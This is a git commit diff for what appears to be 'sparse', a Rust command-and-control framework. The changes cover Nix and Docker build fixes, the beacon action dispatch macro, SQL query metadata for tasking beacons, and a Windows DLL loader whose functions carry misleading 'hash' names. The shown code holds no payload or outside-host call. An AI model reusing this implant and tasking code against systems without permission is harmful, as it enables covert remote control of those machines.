fix: fixed release builds

This commit is contained in:
Andrew Rioux 2025-02-25 02:22:05 -05:00
parent 43866e1759
commit a0c042832c
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
32 changed files with 660 additions and 79 deletions

View File

@ -308,7 +308,7 @@ let
SPARSE_LIBRARY = "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
});
sparse-server = craneLib.mkCargoDerivation (webCrateBuildArgs // {
sparse-server = craneLib.buildPackage (webCrateBuildArgs // {
src = fileSetForWebCrate;
cargoArtifacts = gnuLinuxCargoArtifacts;
@ -317,13 +317,15 @@ let
pname = "sparse-server";
buildPhaseCargoCommand = ''
runHook preBuild
cargo leptos build \
-vv \
--release \
--project=sparse-server
runHook postBuild
'';
doNotPostBuildInstallCargoBinaries = true;
doInstallCartoArtifacts = false;
doInstallCargoArtifacts = false;
installPhaseCommand = ''
mkdir -p $out/bin
@ -333,16 +335,9 @@ let
});
sparse-server-docker = pkgs.dockerTools.buildImage {
name = "sparse-server-docker";
name = "sparse-server";
tag = "latest";
copyToRoot = [ sparse-server ];
runAsRoot = ''
#!${pkgs.runtimeShell}
mkdir -p /sparse-server
'';
config = {
Cmd = [
"${sparse-server}/bin/sparse-server"
@ -351,10 +346,10 @@ let
"/sparse-server/files"
"--management-address"
"0.0.0.0:3000"
"-i"
];
Expose = { "3000" = ""; };
Env = { DATABASE_URL = "sqlite:///sparse-server/db.sqlite"; };
Volumes = { "/sparse-server" = { }; };
Env = [ "DATABASE_URL=sqlite:///sparse-server/db.sqlite" ];
};
};

View File

@ -9,13 +9,6 @@ use serde::{Deserialize, Serialize};
use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError};
use crate::version::Version;
mod exec;
// mod ls;
// mod update;
// mod upload;
// mod install;
// mod download;
#[derive(Serialize, Deserialize, Clone)]
pub struct FileId(pub uuid::Uuid);
@ -23,6 +16,10 @@ pub struct FileId(pub uuid::Uuid);
/// the enum branch as well
macro_rules! define_actions_enum {
($(($mod:ident, $act:ident)),+$(,)?) => {
$(
mod $mod;
)*
#[derive(::serde::Serialize, ::serde::Deserialize, Clone, Debug)]
#[serde(tag = "cmd_type")]
pub enum Actions {
@ -32,17 +29,34 @@ macro_rules! define_actions_enum {
impl Actions {
#[cfg(feature = "server")]
fn render_internal(&self, data: String) -> AnyView {
match self {
$(
Actions::$act(action) => {
let Ok(data) = serde_json::from_str(&data) else {
return view! {
<p>"The command results in the database are corrupted"</p>
}.into_any();
};
action.render_data(data).into_any()
},
)*
let res: Result<Result<String, String>, _> = serde_json::from_str(&data);
match res {
Ok(Ok(v)) => match self {
$(
Actions::$act(action) => {
let Ok(data) = serde_json::from_str(&v) else {
return view! {
<p>"The command results in the database are corrupted"</p>
}.into_any();
};
action.render_data(data).into_any()
},
)*
},
Ok(Err(e)) => view! {
<details>
<summary>
"While running the command, an error occured:"
</summary>
<pre>
{e}
</pre>
</details>
}.into_any(),
Err(_) => view! {
<p>"The command results in the database are corrupted"</p>
}.into_any()
}
}
@ -56,6 +70,31 @@ macro_rules! define_actions_enum {
)*
}
}
#[cfg(feature = "beacon")]
async fn execute_internal<'a, T, S>(
&self,
parameters: &Parameters,
adapter: &'a T,
client: &'a hyper_util::client::legacy::Client<S, http_body_util::Full<bytes::Bytes>>
) -> Result<Result<String, String>, BeaconError<T::Error>>
where
T: 'a + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
match self {
$(
Actions::$act(action) => {
Ok(action
.execute(parameters, adapter, client)
.await
.and_then(|v| serde_json::to_string(&v)
.map_err(Into::into))
.map_err(|e| format!("beacon command error: {e:?}")))
},
)*
}
}
}
$(
@ -65,9 +104,25 @@ macro_rules! define_actions_enum {
}
}
)*
#[cfg(feature = "server")]
pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[
$(
&ActionBuilderImpl::<$mod::$act>::new(),
)*
];
}
}
define_actions_enum! {
(exec, Exec),
// (ls, Ls),
// (update, Update),
// (upload, Upload),
// (install, Install),
// (download, Download),
}
#[cfg(feature = "server-ssr")]
#[derive(thiserror::Error, Debug)]
pub enum BuildActionError {
@ -79,22 +134,13 @@ pub enum BuildActionError {
Json(#[from] serde_json::Error)
}
define_actions_enum! {
(exec, Exec),
// (ls, Ls),
// (update, Update),
// (upload, Upload),
// (install, Install),
// (download, Download),
}
#[async_trait::async_trait]
impl Action for Actions {
const REQ_VERSION: Version = Version::new(2, 0);
const REQ_OS: Option< &'static str> = None;
const REQ_FIELDS: &'static[(&'static str, &'static str,Option< &'static str>)] = &[];
type ActionData = String;
type ActionData = Result<String, String>;
#[cfg(feature = "server-ssr")]
type BuilderData = Self;
@ -124,31 +170,10 @@ impl Action for Actions {
T: 'a + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
macro_rules! match_arm {
($cmd:expr) => {
$cmd
.execute(parameters, adapter, client)
.await
.and_then(|v| serde_json::to_string(&v)
.map_err(Into::into))
}
}
match self {
Actions::Exec(e) => match_arm!(e),
}
self.execute_internal(parameters, adapter, client).await
}
}
#[cfg(feature = "server")]
pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[
&ActionBuilderImpl::<exec::Exec>::new(),
//&ActionBuilderImpl::<ls::Ls>::new(),
//&ActionBuilderImpl::<update::Update>::new(),
//&ActionBuilderImpl::<upload::Upload>::new(),
//&ActionBuilderImpl::<install::Install>::new(),
//&ActionBuilderImpl::<download::Download>::new(),
];
#[async_trait::async_trait]
pub trait Action: Serialize + for<'a> Deserialize<'a> {
const REQ_VERSION: Version;

View File

@ -147,7 +147,7 @@ where
cmd_id
).parse()?,
messages::CommandInvocationResult {
result_body: action_result
result_body: serde_json::to_string(&action_result)?
}
)
.await?;

View File

@ -0,0 +1,26 @@
{
"db_name": "SQLite",
"query": "SELECT cmd.command_id, cmd.cmd_parameters FROM beacon_instance inst\n INNER JOIN beacon_command_invocation bci ON bci.beacon_id = inst.beacon_id\n INNER JOIN beacon_command cmd ON cmd.command_id = bci.command_id\n WHERE inst.beacon_id = ?\n AND bci.invocation_date IS NULL",
"describe": {
"columns": [
{
"name": "command_id",
"ordinal": 0,
"type_info": "Integer"
},
{
"name": "cmd_parameters",
"ordinal": 1,
"type_info": "Text"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false,
false
]
},
"hash": "1d8dd81f191285d4ab5846173c58bdf27c14fd8fdb8e859f8c032affe85b749a"
}

View File

@ -0,0 +1,20 @@
{
"db_name": "SQLite",
"query": "SELECT default_category FROM beacon_template WHERE template_id = ?",
"describe": {
"columns": [
{
"name": "default_category",
"ordinal": 0,
"type_info": "Integer"
}
],
"parameters": {
"Right": 1
},
"nullable": [
true
]
},
"hash": "7fd57e25a52f7b589ff37eff84b7a32b3b3d832dfb6118e23622acb96c85b0d4"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "UPDATE beacon_command_invocation\n SET invocation_date = ?, invocation_result = ?\n WHERE beacon_id = ? AND command_id = ?",
"describe": {
"columns": [],
"parameters": {
"Right": 4
},
"nullable": []
},
"hash": "a21ea2740f3188d924f42ba13e69d81fc51ce2d35a00f8d4ebf28b7870d7f59a"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_category_assignment (category_id, beacon_id)\n VALUES (?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 2
},
"nullable": []
},
"hash": "c58ebbdc1f208ef432a19522298faabf987cc7bb62ef621528bf076ee1813858"
}

View File

@ -1,6 +1,6 @@
{
"db_name": "SQLite",
"query": "SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance",
"query": "SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system,\n beacon_userent, hostname, config_id, version as \"version: Version\" FROM beacon_instance",
"describe": {
"columns": [
{
@ -47,6 +47,11 @@
"name": "config_id",
"ordinal": 8,
"type_info": "Integer"
},
{
"name": "version: Version",
"ordinal": 9,
"type_info": "Integer"
}
],
"parameters": {
@ -61,8 +66,9 @@
false,
false,
false,
true
true,
false
]
},
"hash": "75edc2bc9adda52aa7e9cd68f980db95744690cb3fc1b9cccfb3ab6f63d0ab25"
"hash": "050c049bd06735ddae51ba7105067e9b6b0624af61be8f0edd7b924bbe218239"
}

View File

@ -0,0 +1,68 @@
{
"db_name": "SQLite",
"query": "SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id, version as \"version: Version\" FROM beacon_instance\n WHERE beacon_id = ?",
"describe": {
"columns": [
{
"name": "template_id",
"ordinal": 0,
"type_info": "Integer"
},
{
"name": "peer_ip",
"ordinal": 1,
"type_info": "Text"
},
{
"name": "nickname",
"ordinal": 2,
"type_info": "Text"
},
{
"name": "cwd",
"ordinal": 3,
"type_info": "Text"
},
{
"name": "operating_system",
"ordinal": 4,
"type_info": "Text"
},
{
"name": "beacon_userent",
"ordinal": 5,
"type_info": "Text"
},
{
"name": "hostname",
"ordinal": 6,
"type_info": "Text"
},
{
"name": "config_id",
"ordinal": 7,
"type_info": "Integer"
},
{
"name": "version: Version",
"ordinal": 8,
"type_info": "Integer"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false,
false,
false,
false,
false,
false,
false,
true,
false
]
},
"hash": "14ace737498c0af4d03bdea89c26ef09ca6f3271f7735bdf3a01b6f0f9aff482"
}

View File

@ -0,0 +1,26 @@
{
"db_name": "SQLite",
"query": "SELECT cmd.command_id, cmd.cmd_parameters FROM beacon_instance inst\n INNER JOIN beacon_command_invocation bci ON bci.beacon_id = inst.beacon_id\n INNER JOIN beacon_command cmd ON cmd.command_id = bci.command_id\n WHERE inst.beacon_id = ?\n AND bci.invocation_date IS NULL",
"describe": {
"columns": [
{
"name": "command_id",
"ordinal": 0,
"type_info": "Integer"
},
{
"name": "cmd_parameters",
"ordinal": 1,
"type_info": "Text"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false,
false
]
},
"hash": "1d8dd81f191285d4ab5846173c58bdf27c14fd8fdb8e859f8c032affe85b749a"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_command (cmd_parameters) VALUES (?)",
"describe": {
"columns": [],
"parameters": {
"Right": 1
},
"nullable": []
},
"hash": "2bd4e7fb362d39d68fc021454affebf204ea0c9f10909ba205e137c22a02e43d"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "UPDATE beacon_instance SET nickname = ?, config_id = ?\n WHERE beacon_id = ?",
"describe": {
"columns": [],
"parameters": {
"Right": 3
},
"nullable": []
},
"hash": "34da0295845f8bbb43e5742921a91893f61be41b576027d3ea313c6292da241e"
}

View File

@ -0,0 +1,38 @@
{
"db_name": "SQLite",
"query": "SELECT cmd.cmd_parameters as params, bci.invocation_result as \"res!\",\n bci.invocation_date as \"date!: DateTime\", users.user_name as user_name\n FROM beacon_command_invocation bci\n INNER JOIN users ON users.user_id = bci.invoker_id\n INNER JOIN beacon_command cmd ON cmd.command_id = bci.command_id\n WHERE bci.command_id = ? AND bci.beacon_id = ?",
"describe": {
"columns": [
{
"name": "params",
"ordinal": 0,
"type_info": "Text"
},
{
"name": "res!",
"ordinal": 1,
"type_info": "Text"
},
{
"name": "date!: DateTime",
"ordinal": 2,
"type_info": "Integer"
},
{
"name": "user_name",
"ordinal": 3,
"type_info": "Text"
}
],
"parameters": {
"Right": 2
},
"nullable": [
false,
true,
true,
false
]
},
"hash": "4281858c6d06dbf12479a79e6e7597c1e0bbe52c263079a2986bbaf417789f57"
}

View File

@ -0,0 +1,74 @@
{
"db_name": "SQLite",
"query": "SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system,\n beacon_userent, hostname, version as \"version: Version\", config_id FROM beacon_instance\n WHERE beacon_id = ?",
"describe": {
"columns": [
{
"name": "beacon_id",
"ordinal": 0,
"type_info": "Text"
},
{
"name": "template_id",
"ordinal": 1,
"type_info": "Integer"
},
{
"name": "peer_ip",
"ordinal": 2,
"type_info": "Text"
},
{
"name": "nickname",
"ordinal": 3,
"type_info": "Text"
},
{
"name": "cwd",
"ordinal": 4,
"type_info": "Text"
},
{
"name": "operating_system",
"ordinal": 5,
"type_info": "Text"
},
{
"name": "beacon_userent",
"ordinal": 6,
"type_info": "Text"
},
{
"name": "hostname",
"ordinal": 7,
"type_info": "Text"
},
{
"name": "version: Version",
"ordinal": 8,
"type_info": "Integer"
},
{
"name": "config_id",
"ordinal": 9,
"type_info": "Integer"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false,
false,
false,
false,
false,
false,
false,
false,
false,
true
]
},
"hash": "476ef5f93d6c145ac1c4864fd91ec2c01ce57487cb58f50ea9017a77c40a3ffd"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_category_assignment (beacon_id, category_id) VALUES (?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 2
},
"nullable": []
},
"hash": "597d307d21cbe32621126722b63b559b71e9487f996990506336fcf9cb82db36"
}

View File

@ -0,0 +1,20 @@
{
"db_name": "SQLite",
"query": "SELECT beacon_id FROM beacon_command_invocation WHERE command_id = ?",
"describe": {
"columns": [
{
"name": "beacon_id",
"ordinal": 0,
"type_info": "Text"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false
]
},
"hash": "5ecea84575935bb8e6f63b1b608772f89bbbaa1437e6c56e1e7befe83af94e6f"
}

View File

@ -0,0 +1,20 @@
{
"db_name": "SQLite",
"query": "SELECT default_category FROM beacon_template WHERE template_id = ?",
"describe": {
"columns": [
{
"name": "default_category",
"ordinal": 0,
"type_info": "Integer"
}
],
"parameters": {
"Right": 1
},
"nullable": [
true
]
},
"hash": "7fd57e25a52f7b589ff37eff84b7a32b3b3d832dfb6118e23622acb96c85b0d4"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "DELETE FROM beacon_category_assignment\n WHERE beacon_id = ? AND category_id = ?",
"describe": {
"columns": [],
"parameters": {
"Right": 2
},
"nullable": []
},
"hash": "84e1b63f99332c54921983f41ceebb78d35b21a92d5800c7a481dc5c5af6ae19"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)\n SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc\n INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id\n INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id\n WHERE bc.category_id = ?\n AND bi.version >= ?",
"describe": {
"columns": [],
"parameters": {
"Right": 5
},
"nullable": []
},
"hash": "90cc89485012350f055322126bec3fd1fa56a604576e0eaebdc1667ae7942d9a"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)\n VALUES (?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 4
},
"nullable": []
},
"hash": "97dcff1e112acfa900a97c344b1dc1f746472ac8dae2e30415331b01d843a03a"
}

View File

@ -0,0 +1,20 @@
{
"db_name": "SQLite",
"query": "SELECT category_id FROM beacon_category_assignment\n WHERE beacon_id = ?",
"describe": {
"columns": [
{
"name": "category_id",
"ordinal": 0,
"type_info": "Integer"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false
]
},
"hash": "9dee649dccdbbd10b12bf0a846eb42ff6faad2cfe4a6e25b8db6a9e9ac798389"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "UPDATE beacon_command_invocation\n SET invocation_date = ?, invocation_result = ?\n WHERE beacon_id = ? AND command_id = ?",
"describe": {
"columns": [],
"parameters": {
"Right": 4
},
"nullable": []
},
"hash": "a21ea2740f3188d924f42ba13e69d81fc51ce2d35a00f8d4ebf28b7870d7f59a"
}

View File

@ -0,0 +1,32 @@
{
"db_name": "SQLite",
"query": "SELECT cmd.cmd_parameters as params, bci.issue_date as \"date: DateTime\",\n users.user_name as user_name\n FROM beacon_command_invocation bci\n INNER JOIN users ON users.user_id = bci.invoker_id\n INNER JOIN beacon_command cmd ON cmd.command_id = bci.command_id\n WHERE bci.command_id = ? AND bci.beacon_id = ?",
"describe": {
"columns": [
{
"name": "params",
"ordinal": 0,
"type_info": "Text"
},
{
"name": "date: DateTime",
"ordinal": 1,
"type_info": "Integer"
},
{
"name": "user_name",
"ordinal": 2,
"type_info": "Text"
}
],
"parameters": {
"Right": 2
},
"nullable": [
false,
false,
false
]
},
"hash": "b4acce77ab632e9d1ef69a9717a7eb76bd395960f34b892d9146e9828953a51f"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_category_assignment (category_id, beacon_id)\n VALUES (?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 2
},
"nullable": []
},
"hash": "c58ebbdc1f208ef432a19522298faabf987cc7bb62ef621528bf076ee1813858"
}

View File

@ -0,0 +1,20 @@
{
"db_name": "SQLite",
"query": "SELECT category_id FROM beacon_category_assignment WHERE beacon_id = ?",
"describe": {
"columns": [
{
"name": "category_id",
"ordinal": 0,
"type_info": "Integer"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false
]
},
"hash": "d20c8f64356f1b77e5daa6c5f1faf4f1dd59f9f6f6db6f972ff1328e81b2fb38"
}

View File

@ -0,0 +1,20 @@
{
"db_name": "SQLite",
"query": "SELECT version as \"version: Version\" FROM beacon_instance WHERE beacon_id = ?",
"describe": {
"columns": [
{
"name": "version: Version",
"ordinal": 0,
"type_info": "Integer"
}
],
"parameters": {
"Right": 1
},
"nullable": [
false
]
},
"hash": "e1a68ec0d16234ef8a31f2c3eeeec804bb05be050ccc1c5fe575492d01d0fca4"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 2
},
"nullable": []
},
"hash": "f66eeb478c4adce95a7050df3001d2241d5d99dcef7cf066c510e29e9c458bee"
}

View File

@ -86,7 +86,6 @@ pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
"linux" => Ok(beacon_binaries::LINUX_BEACON.to_owned()),
"linux-loader" => Ok(beacon_binaries::LINUX_BEACON_LOADER.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows-svc" => Ok(beacon_binaries::WINDOWS_BEACON_SVC.to_owned()),
"freebsd" => Ok(beacon_binaries::FREEBSD_BEACON.to_owned()),
"freebsd-loader" => Ok(beacon_binaries::FREEBSD_BEACON_LOADER.to_owned()),

View File

@ -1,6 +1,6 @@
use std::net::Ipv4Addr;
use sparse_beacon::{
use sparse_actions::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
@ -8,7 +8,7 @@ use sparse_beacon::{
#[derive(thiserror::Error, Debug)]
pub enum FreeBsdAdapterError {}
impl sparse_beacon::error::AdapterError for FreeBsdAdapterError {}
impl sparse_actions::error::AdapterError for FreeBsdAdapterError {}
#[derive(Clone)]
pub struct FreeBsdAdapter;
@ -17,6 +17,8 @@ pub struct FreeBsdAdapter;
impl BeaconAdapter for FreeBsdAdapter {
type Error = FreeBsdAdapterError;
const OPERATING_SYSTEM: &'static str = "Windows";
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
interface.name.clone()
}
@ -27,4 +29,37 @@ impl BeaconAdapter for FreeBsdAdapter {
interfaces: vec![],
})
}
async fn get_username(&self) -> Result<String, error::BeaconError<Self::Error>> {
let passwd = tokio::fs::read_to_string("/etc/passwd").await?;
let uid = unsafe { libc::getuid() };
Ok(passwd
.split("\n")
.find_map(|row| -> Option<String> {
let mut entries = row.split(":");
let name = entries.next()?;
entries.next()?;
let euid = entries.next()?.parse::<u32>().ok()?;
if euid == uid {
Some(name.to_string())
} else {
None
}
})
.unwrap_or("(unknown)".to_string()))
}
async fn get_hostname(&self) -> Result<String, error::BeaconError<Self::Error>> {
Ok(tokio::fs::read_to_string("/etc/rc.conf")
.await?
.split("\n")
.map(|line| line.split("=").collect::<Vec<_>>())
.find(|line| line.get(0) == Some(&"hostname"))
.map(|line| line.get(1).map(|name| name.to_string()))
.flatten()
.unwrap_or("(unknown)".to_string()))
}
}

View File

@ -1,6 +1,6 @@
use std::net::Ipv4Addr;
use sparse_beacon::{
use sparse_actions::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
@ -11,7 +11,7 @@ pub enum WindowsAdapterError {
Win32(#[from] windows_result::Error),
}
impl sparse_beacon::error::AdapterError for WindowsAdapterError {}
impl sparse_actions::error::AdapterError for WindowsAdapterError {}
#[derive(Clone)]
pub struct WindowsAdapter;
@ -20,6 +20,8 @@ pub struct WindowsAdapter;
impl BeaconAdapter for WindowsAdapter {
type Error = WindowsAdapterError;
const OPERATING_SYSTEM: &'static str = "Windows";
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
[&br"\Device\NPF_"[..], &interface.name].concat()
}
@ -43,7 +45,7 @@ impl BeaconAdapter for WindowsAdapter {
}
use windows::Win32::NetworkManagement::IpHelper::{
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GET_ADAPTERS_ADDRESSES_FLAGS,
GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS,
IP_ADAPTER_ADDRESSES_LH,
};
@ -173,4 +175,12 @@ impl BeaconAdapter for WindowsAdapter {
Ok(BeaconNetworkingInfo { routes, interfaces })
}
}
async fn get_username(&self) -> Result<String, error::BeaconError<Self::Error>> {
Ok(std::env::var("USERNAME").unwrap_or("(unknown)".to_string()))
}
async fn get_hostname(&self) -> Result<String, error::BeaconError<Self::Error>> {
Ok(std::env::var("COMPUTERNAME").unwrap_or("(unknown)".to_string()))
}
}

View File

@ -4,10 +4,10 @@ use tokio::io::{AsyncReadExt, AsyncSeekExt};
use windows::{
core::*,
Win32::{
Foundation::{CloseHandle, FreeLibrary, HMODULE, MAX_PATH},
Foundation::{CloseHandle, HMODULE, MAX_PATH},
System::{
LibraryLoader::{
DisableThreadLibraryCalls, GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
DisableThreadLibraryCalls, GetModuleFileNameA,
},
SystemServices::DLL_PROCESS_ATTACH,
Threading::{CreateThread, Sleep, THREAD_CREATION_FLAGS}
@ -67,9 +67,6 @@ unsafe extern "system" fn prepare_hash(_param: *mut core::ffi::c_void) -> u32 {
}
fn hash_internals() -> std::result::Result<(), std::io::Error> {
let curr_module = HMODULE(std::ptr::null_mut());
let comp_hash = compute_hash as extern "C" fn() -> ();
if unsafe { MODULE_FILENAME_LEN } == 0 {
return Err(std::io::Error::last_os_error());
}
@ -117,7 +114,6 @@ async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::
}
loop {}
Ok(())
}
#[unsafe(no_mangle)]

View File

@ -8,7 +8,6 @@ mod adapter;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
loop {}
sparse_beacon::install_rustls();
let mut binary_file = tokio::fs::OpenOptions::new()